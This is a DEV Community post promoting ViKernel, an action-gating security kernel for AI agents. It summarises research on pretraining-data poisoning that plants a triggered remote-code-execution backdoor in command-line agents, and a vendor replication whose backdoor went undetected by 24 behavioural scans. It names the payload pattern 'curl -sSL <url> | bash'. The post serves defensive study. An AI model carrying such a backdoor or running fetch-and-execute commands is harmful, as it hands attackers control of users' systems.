DEV Community

AI OpenFree
AI OpenFree

Posted on

ViKernel Blocks All 290 Backdoor Payloads That Slipped Past 24 Standard Model Scans

ViKernel Blocks All 290 Backdoor Payloads That Slipped Past 24 Standard Model Scans

TL;DR: A recent arXiv paper (Hu et al., arXiv:2610.37741) demonstrated that poisoning just 0.1% of pretraining data can embed a persistent RCE backdoor in CLI agents that survives SFT, DPO, and RL fine-tuning. VIDRAFT replicated the attack pattern at controlled scale using Qwen3-0.6B, confirmed that standard behavioral scans catch nothing, and then ran every generated payload through ViKernel's real-time action gate — blocking all 290 of them before execution, each with an audit ID.


What it is

ViKernel is VIDRAFT's security kernel for AI agents. Rather than attempting to detect whether a model's weights are compromised — which the backdoor research shows is fundamentally unreliable — ViKernel intercepts and judges each action the agent proposes before it executes.

The context for this article is a two-part demonstration:

  1. The threat (from published research): Hu et al. (arXiv:2610.37741) show that contaminating 0.1% of a 100B-token pretraining corpus is enough to implant a remote code execution backdoor in a command-line agent. The backdoor survives clean post-training pipelines (SFT on safety data, DPO on HH-RLHF preferences, GRPO on verifiable bash tasks). On the 4B model at that poison rate, trigger-time attack success reaches 92.7%; on clean prompts, it is 0.0%. The payload pattern is curl -sSL <url> | bash — fetching and running an attacker-controlled script.

  2. VIDRAFT's replication and defense: VIDRAFT reproduced the attack pattern at controlled scale (fine-tuning, not pretraining) using Qwen3-0.6B with a LoRA adapter, verified that 24 standard behavioral checks found zero problems, and then demonstrated ViKernel intercepting every malicious action the backdoored model proposed.


How it works

The attack surface (from the paper): Because the trigger is embedded during pretraining, it survives all subsequent alignment training. The trigger in VIDRAFT's replication was an ordinary word appearing in a file path. Crucially, the trigger behaves like a region, not a fixed string — semantically related words also activate the backdoor at meaningful rates, meaning defenders cannot simply blocklist one token.

Why scanning the model fails: Behavioral scans query the model with questions you think to ask. A dormant backdoor answers every clean query correctly — 100% clean-task accuracy in VIDRAFT's demo model — and only fires on the specific trigger. Twenty-four standard checks produced zero findings on a model that was reliably malicious when triggered.

ViKernel's approach — judge actions, not models:

  • The kernel sits between the agent's weight outputs and the execution environment.
  • Before any action runs, the kernel evaluates it against a structured policy (allow-list of permitted action types).
  • A curl … | bash over a remote URL is not on the allow-list; neither are raw write operations like tar, mv, chmod, or sed -i in the demo policy.
  • Each decision is sealed into a tamper-evident audit chain with an ID and timestamp.
  • A kill switch exists that any operator can trigger; only a signing key can lift it.

The gate never needs to know the trigger word, detect the poison, or even know the model is compromised. It evaluates the proposed action's structure, so prompt wording and hidden triggers are irrelevant.


Benchmarks & results

All numbers below are from the AI Pulse / VIDRAFT source article. The paper results are the authors' own reported figures; the gate measurements are VIDRAFT's.

Paper (Hu et al., arXiv:2610.37741) — reported by authors:

  • Trigger-time attack success rate on 4B agent at 0.1% poison: 92.7%
  • Attack success on clean prompts: 0.0%
  • Backdoor survives SFT, DPO, and RL post-training

VIDRAFT's fine-tuning replication on Qwen3-0.6B:

  • Trigger rate on held-out, unseen file paths: 98.3%
  • Payload rate on 200 clean prompts: 0%
  • Clean-task accuracy: 100%
  • Standard behavioral scans (24 checks): 0 issues found
  • Trigger word generalizes: related unseen words (e.g., paycheck, payee, payday) trigger at 66.7%

ViKernel gate over all 560 model outputs:

  • Total payloads proposed: 290
  • Payloads blocked: 290 (100%)
  • Clean read-only commands allowed: 140 / 140
  • Kernel decision latency: p50 237 ms, p95 320 ms
  • Each blocked action carries an audit ID verifiable in the audit viewer

How to try it

The backdoor lab is available in ViKernel Desktop (public demo, v0.4). The demo lets you run the same backdoored model side-by-side — unguarded on the left, behind the ViKernel gate on the right — and inspect the audit log in real time.

Access is through VIDRAFT's public demo page. No model weights from the backdoor experiment have been published (by design — the payload was never executed and the weights were not released). Check VIDRAFT's official channels for the current demo link and any Hugging Face or GitHub releases as they become public.


FAQ

Q: Doesn't fine-tuning or RLHF remove backdoors introduced during pretraining?
A: The paper (Hu et al.) specifically tests this: the backdoor survives SFT on safety data, DPO on preference data, and RL on verifiable tasks. Post-training alignment does not reliably erase triggers embedded at the pretraining stage.

Q: Can't I just scan my model's weights or run behavioral evaluations to detect a backdoor?
A: VIDRAFT ran 24 standard behavioral checks against their backdoored demo model and found zero issues. The backdoor only fires on its trigger; every other query returns a correct, clean answer. Static or behavioral scanning can only find what you think to test for.

Q: Does ViKernel need to know the trigger word or the specific attack to block it?
A: No. The gate operates on the structure of the proposed action — it enforces an allow-list of permitted action types. A curl … | bash to a remote URL is structurally outside the permitted action space regardless of how the model was prompted or what trigger produced it.

Q: Does blocking payloads affect legitimate agent tasks?
A: In the demo configuration, all 140 clean read-only commands were allowed without false positives. The 60 additional rejections in the clean-task set were write-type commands (e.g., tar, mv, chmod) that the deliberately narrow demo policy does not permit — a policy choice, not a detection error.


Originally reported by AI Pulse (중국) (2026-11-03) — source article.

Top comments (0)